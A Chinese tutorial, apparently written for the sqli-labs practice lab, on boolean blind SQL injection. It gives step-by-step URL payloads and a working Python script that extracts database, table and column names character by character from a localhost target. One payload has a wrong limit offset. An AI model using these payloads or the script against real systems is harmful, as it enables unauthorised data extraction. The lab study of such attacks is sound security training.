盲注顾名思义,只会返回True或者False,需要一个一个字符地去拆解表中内容,步骤相对联合注入比较繁琐,但找到规律也是很好理解的。
盲注需要理解掌握的几个函数是ord(),ascii(),substr();具体在下文payload中自行理解。
一、获取数据库长度
用到database(),length()函数,得到数据库长度为8
#payload
?id=1' and length(database())=8 --+
成功返回,所以数据库名长度是8,其实根据这个思路可以很好地写出相应地攻击脚本。
二、获取数据库名
可以用substr(),ascii(),ord()函数,看自己喜欢,客人喜欢用前二。下面看到逐步拆解出数据库名为security
#payload,substr()函数
?id=1' and substr(database(),1,1)='s' --+
?id=1' and substr(database(),2,1)='e' --+
?id=1' and substr(database(),3,1)='c' --+
?id=1' and substr(database(),4,1)='u' --+
?id=1' and substr(database(),5,1)='r' --+
?id=1' and substr(database(),6,1)='i' --+
?id=1' and substr(database(),7,1)='t' --+
?id=1' and substr(database(),8,1)='y' --+
#也可以substr()与ascii()结合使用,115为s的ascii码值
?id=1' and ascii(substr(database(),1,1))=115 --+
三、获取表数量
用到count()函数,得到总共有4个表
#payload,得出表数量为四个
?id=1' and (select count(table_name) from information_schema.tables where table_schema=database())=4 --+
五、获取表长度
用到length()函数与limit函数控制输出,分别得出四个表依序长度为6,8,7,5
#payload
#输出第一个表的长度limit 0,1
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=6 --+
#输出第二个表的长度limit 1,1
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 1,1)=8 --+
#输出第三个表的长度limit 2,1
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 2,1)=7 --+
#输出第四个表的长度limit 3,1
?id=1' and (select length(table_name) from information_schema.tables where table_schema=database() limit 2,1)=5 --+
六、获取表名
得出数量与长度,逐步拆解出四个表分别为emails、referers、uagents、users,这里只举例第一个表,一样是用substr函数或者ascii()函数拆解得到表名。
#payload,获取第一个表名
#拆解第一个表名的第一个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),1,1)='e' --+
#拆解第一个表名的第二个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),2,1)='m' --+
#拆解第一个表名的第三个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),3,1)='a' --+
#拆解第一个表名的第四个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),4,1)='i' --+
#拆解第一个表名的第五个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),5,1)='l' --+
#拆解第一个表名的第六个字母
?id=1' and substr((select table_name from information_schema.tables where table_schema='security' limit 0,1),6,1)='s' --+
七、同样获取段数量、长度、段名
依照获取表的方式照搬,可以得出表内的段名,这里不多示例。第一个表emails有两个字段:id、email_id
#获取段数量
?id=1' and (select count(column_name) from information_schema.columns where table_name='emails')=2 --+
#获取第一、二个段名长度
?id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 0,1)=2 --+
?id=1' and (select length(column_name) from information_schema.columns where table_name='emails' limit 1,1)=8 --+
#获取emails表中第一个段名:id
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),1,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 0,1),2,1)='d' --+
#获取emails表中第二个段名:email_id
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),1,1)='e' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),2,1)='m' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),3,1)='a' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),4,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),5,1)='l' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),6,1)='_' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),7,1)='i' --+
?id=1' and substr((select column_name from information_schema.columns where table_name='emails' limit 1,1),8,1)='d' --+
下面是我用python写的脚本,进行自动化爆破:
#-*-coding:utf-8-*-
#python3
import requests
import re
import datetime
'''Get database length'''
def get_database_length(target_url):
print('Loading...')
for i in range(1,50):
payload = "?id=1' and (select length(database())=%s) --+"%i
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
print('Database length: %s' %i)
return i
'''Get database name'''
def get_database_name(target_url):
db_name = ''
db_length = get_database_length(target_url)
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
for i in range(1,db_length + 1):
for letter in letters:
payload = "?id=1' and substr(database(),%s,1)='%s' --+" %(i, letter)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
db_name += letter
print('Database name:%s'%db_name)
return db_name
'''Get table count'''
def get_table_count(target_url,database):
for i in range(20):
payload = "?id=1' and (select count(table_name) from information_schema.tables where table_schema = '%s') = %s --+"%(database,i)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
return i
'''Get table length'''
# num 为第几个表
def get_table_length(target_url,num,database):
for i in range(50):
payload = "?id=1' and (select length(table_name) from information_schema.tables where table_schema ='"+database+"'limit %s,1)=%s --+"%(num,i)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........",htmlcontent)
if not result:
continue
else:
return i
'''Get table name'''
def get_table_name(target_url,database):
table_name = []
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
table_count = get_table_count(target_url,database)
for i in range(0,table_count+1):
name = ''
table_length = get_table_length(target_url,i,database)
if table_length == None:
break
for j in range(1,table_length+1):
for letter in letters:
payload = "?id=1' and substr((select table_name from information_schema.tables where table_schema='"+database+"' limit %s,1),%s,1)='%s' --+"%(i,j,letter)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........", htmlcontent)
if not result:
continue
else:
name += letter
table_name.append(name)
return table_name
'''Get column count'''
def get_column_count(target_url,table_name):
for i in range(20):
payload = "?id=1' and (select count(column_name) from information_schema.columns where table_name='"+table_name+"') = %s --+" %i
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........", htmlcontent)
if not result:
continue
else:
print('column count:%s'%i)
return i
'''Get column length'''
def get_column_length(target_url,table_name,num):
for i in range(1,50):
payload = "?id=1' and (select length(column_name) from information_schema.columns where table_name='"+table_name+"'limit %s,1)=%s --+"%(num,i)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........", htmlcontent)
if not result:
continue
else:
#print('column length:%s'%i)
return i
'''Get column name'''
def get_column_name(target_url,table_name):
column_name = []
letters = 'abcdefghijklmnopqrstuvwxyz0123456789@_.'
column_count = get_column_count(target_url, table_name)
for i in range(0, column_count + 1):
name = ''
column_length = get_column_length(target_url, table_name, i)
if column_length == None:
# print('can not get column length.')
break
for j in range(1, column_length + 1):
for letter in letters:
payload = "?id=1' and substr((select column_name from information_schema.columns where table_name='"+table_name+"' "+\
"limit %s,1),%s,1)='%s' --+" %(i, j, letter)
htmlcontent = requests.get(target_url + payload).text
result = re.findall("You are in...........", htmlcontent)
if not result:
continue
else:
name += letter
column_name.append(name)
return column_name
if __name__ == '__main__':
print('+---------------------------------------------------------------------------------------------+')
begin = datetime.datetime.now()
target_url = 'http://127.0.0.1/sqli-labs-master/Less-8/'
database = get_database_name(target_url)
print(database + 'have these tables:%s'%get_table_name(target_url,database))
table_name = 'emails'
print('emails have these columns %s'%get_column_name(target_url,table_name))
end = datetime.datetime.now()
spent = (end - begin).seconds
print('All cost %s seconds' %spent)
print('+---------------------------------------------------------------------------------------------+')